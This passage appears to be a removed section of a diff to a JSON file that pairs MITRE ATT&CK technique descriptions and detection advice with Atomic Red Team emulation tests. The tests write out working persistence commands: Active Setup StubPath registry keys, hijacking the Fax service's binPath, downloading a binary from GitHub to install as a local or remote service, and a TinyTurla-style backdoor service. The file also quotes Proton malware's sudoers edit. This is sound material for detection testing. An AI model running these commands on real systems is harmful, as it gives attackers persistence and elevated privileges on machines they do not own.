- "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1206": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", - "type": "attack-pattern", - "created": "2018-04-18T17:59:24.739Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1206", - "url": "https://attack.mitre.org/techniques/T1206" - }, - { - "url": "https://www.sudo.ws/", - "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", - "source_name": "sudo man page 2018" - }, - { - "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", - "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", - "source_name": "cybereason osx proton" - } - ], - "modified": "2020-02-05T20:10:18.586Z", - "name": "Sudo Caching", - "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1547.014": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67", - "type": "attack-pattern", - "created": "2020-12-18T16:33:13.098Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.014", - "url": "https://attack.mitre.org/techniques/T1547/014" - }, - { - "source_name": "Klein Active Setup 2010", - "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/", - "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020." - }, - { - "source_name": "Mandiant Glyer APT 2010", - "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf", - "description": "Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020." - }, - { - "source_name": "Citizenlab Packrat 2015", - "url": "https://citizenlab.ca/2015/12/packrat-report/", - "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020." - }, - { - "source_name": "FireEye CFR Watering Hole 2012", - "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html", - "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020." - }, - { - "source_name": "SECURELIST Bright Star 2015", - "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/", - "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020." - }, - { - "source_name": "paloalto Tropic Trooper 2016", - "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", - "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020." - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - } - ], - "modified": "2021-03-05T22:36:37.414Z", - "name": "Active Setup", - "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Windows Registry: Windows Registry Key Creation", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1547.014" - }, - "atomic_tests": [ - { - "name": "HKLM - Add atomic_test key to launch executable as part of user setup", - "auto_generated_guid": "deff4586-0517-49c2-981d-bbea24d48d71", - "description": "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components' to launch calc by configuring an active setup executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\" command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would run during the next logon for each user.\n\nNote: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. \nThe payload will only run once unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "payload": { - "description": "Payload to run once during login", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\" -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup", - "cleanup_command": "Remove-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore\nRemove-Item \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKLM - Add malicious StubPath value to existing Active Setup Entry", - "auto_generated_guid": "39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a", - "description": "This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) \nSaid key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. \nWithout the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "payload": { - "description": "Payload to run once during login", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup", - "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"StubPath\" -Force\nRemove-ItemProperty \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Force", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number", - "auto_generated_guid": "04d55cef-f283-40ba-ae2a-316bc3b5e78c", - "description": "This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, \nwhich will force the StubPath payload (if set) to execute.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Value \"0,0,0,0\"\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1484.002": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Blake Strom, Microsoft 365 Defender" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", - "type": "attack-pattern", - "created": "2020-12-28T21:59:02.181Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1484.002", - "url": "https://attack.mitre.org/techniques/T1484/002" - }, - { - "source_name": "Microsoft - Azure AD Federation", - "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed", - "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020." - }, - { - "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", - "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", - "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020." - }, - { - "source_name": "Sygnia Golden SAML", - "url": "https://www.sygnia.co/golden-saml-advisory", - "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." - }, - { - "source_name": "CISA SolarWinds Cloud Detection", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021." - }, - { - "source_name": "Microsoft - Update or Repair Federated domain", - "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", - "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020." - } - ], - "modified": "2021-01-11T18:21:20.213Z", - "name": "Domain Trust Modification", - "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", - "Active Directory: Active Directory Object Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1484.002" - }, - "atomic_tests": [] - }, - "T1543.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matthew Demaske, Adaptforward", - "Pedro Harrison", - "Mayuresh Dani, Qualys", - "Wietze Beukema, @wietze", - "Akshat Pradhan, Qualys" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", - "created": "2020-01-17T19:13:50.402Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1543.003", - "url": "https://attack.mitre.org/techniques/T1543/003" - }, - { - "source_name": "Microsoft Windows Event Forwarding FEB 2018", - "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", - "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018." - }, - { - "source_name": "ESET InvisiMole June 2020", - "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020." - }, - { - "source_name": "TechNet Services", - "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx", - "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016." - }, - { - "source_name": "Microsoft 4697 APR 2017", - "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", - "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018." - }, - { - "source_name": "Symantec W.32 Stuxnet Dossier", - "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", - "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020." - }, - { - "source_name": "Unit42 AcidBox June 2020", - "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", - "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "source_name": "Crowdstrike DriveSlayer February 2022", - "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", - "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022." - }, - { - "url": "https://capec.mitre.org/data/definitions/478.html", - "source_name": "capec", - "external_id": "CAPEC-478" - }, - { - "url": "https://capec.mitre.org/data/definitions/550.html", - "source_name": "capec", - "external_id": "CAPEC-550" - }, - { - "url": "https://capec.mitre.org/data/definitions/551.html", - "source_name": "capec", - "external_id": "CAPEC-551" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).", - "modified": "2022-05-20T16:22:32.605Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Create or Modify System Process: Windows Service", - "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Driver: Driver Load", - "Service: Service Creation", - "Windows Registry: Windows Registry Key Creation", - "Service: Service Modification", - "Process: OS API Execution", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1543.003" - }, - "atomic_tests": [ - { - "name": "Modify Fax service to run PowerShell", - "auto_generated_guid": "ed366cde-7d12-49df-a833-671904770b9f", - "description": "This test will temporarily modify the service Fax by changing the binPath to PowerShell\nand will then revert the binPath change, restoring Fax to its original state.\nUpon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "sc config Fax binPath= \"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -c \\\"write-host 'T1543.003 Test'\\\"\"\nsc start Fax\n", - "cleanup_command": "sc config Fax binPath= \"C:\\WINDOWS\\system32\\fxssvc.exe\" >nul 2>&1" - } - }, - { - "name": "Service Installation CMD", - "auto_generated_guid": "981e2942-e433-44e9-afc1-8c957a1496b6", - "description": "Download an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_path": { - "description": "Name of the service binary, include path.", - "type": "path", - "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe" - }, - "service_type": { - "description": "Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare", - "type": "String", - "default": "Own" - }, - "startup_type": { - "description": "Service start method. May be boot|system|auto|demand|disabled|delayed-auto", - "type": "String", - "default": "auto" - }, - "service_name": { - "description": "Name of the Service", - "type": "string", - "default": "AtomicTestService_CMD" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Service binary must exist on disk at specified location (#{binary_path})\n", - "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "sc.exe create #{service_name} binPath= #{binary_path} start=#{startup_type} type=#{service_type}\nsc.exe start #{service_name}\n", - "cleanup_command": "sc.exe stop #{service_name} >nul 2>&1\nsc.exe delete #{service_name} >nul 2>&1\n" - } - }, - { - "name": "Service Installation PowerShell", - "auto_generated_guid": "491a4af6-a521-4b74-b23b-f7b3f1ee9e77", - "description": "Installs A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_path": { - "description": "Name of the service binary, include path.", - "type": "path", - "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe" - }, - "service_name": { - "description": "Name of the Service", - "type": "string", - "default": "AtomicTestService_PowerShell" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Service binary must exist on disk at specified location (#{binary_path})\n", - "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "New-Service -Name \"#{service_name}\" -BinaryPathName \"#{binary_path}\"\nStart-Service -Name \"#{service_name}\"\n", - "cleanup_command": "Stop-Service -Name \"#{service_name}\" 2>&1 | Out-Null\ntry {(Get-WmiObject Win32_Service -filter \"name='#{service_name}'\").Delete()}\ncatch {}\n" - } - }, - { - "name": "TinyTurla backdoor service w64time", - "auto_generated_guid": "ef0581fd-528e-4662-87bc-4c2affb86940", - "description": "It's running Dll as service to emulate the TinyTurla backdoor\n\n[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dllfilename": { - "description": "It specifies Dll file to run as service", - "type": "string", - "default": "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll" - } - }, - "executor": { - "command": "copy #{dllfilename} %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time", - "cleanup_command": "sc stop W64Time\nsc.exe delete W64Time\ndel %systemroot%\\system32\\w64time.dll\nreg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /f", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Remote Service Installation CMD", - "auto_generated_guid": "fb4151a2-db33-4f8c-b7f8-78ea8790f961", - "description": "Download an executable from github and start it as a service on a remote endpoint\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "binary_path": { - "description": "Name of the service binary, include path.", - "type": "path", - "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe" - }, - "service_type": { - "description": "Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare", - "type": "String", - "default": "Own" - }, - "startup_type": { - "description": "Service start method. May be boot,system,auto,demand,disabled,delayed-auto", - "type": "String", - "default": "auto" - }, - "service_name": { - "description": "Name of the Service", - "type": "string", - "default": "AtomicTestService_CMD" - }, - "remote_host": { - "description": "Name of the remote endpoint", - "type": "string", - "default": "localhost" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Service binary must exist on disk at specified location (#{binary_path})\n", - "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "sc.exe \\\\#{remote_host} create #{service_name} binPath= #{binary_path} start=#{startup_type} type=#{service_type}\nsc.exe \\\\#{remote_host} start #{service_name}\n", - "cleanup_command": "sc.exe \\\\#{remote_host} stop #{service_name} >nul 2>&1\nsc.exe \\\\#{remote_host} delete #{service_name} >nul 2>&1" - } - } - ] - }, - "T1053.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - 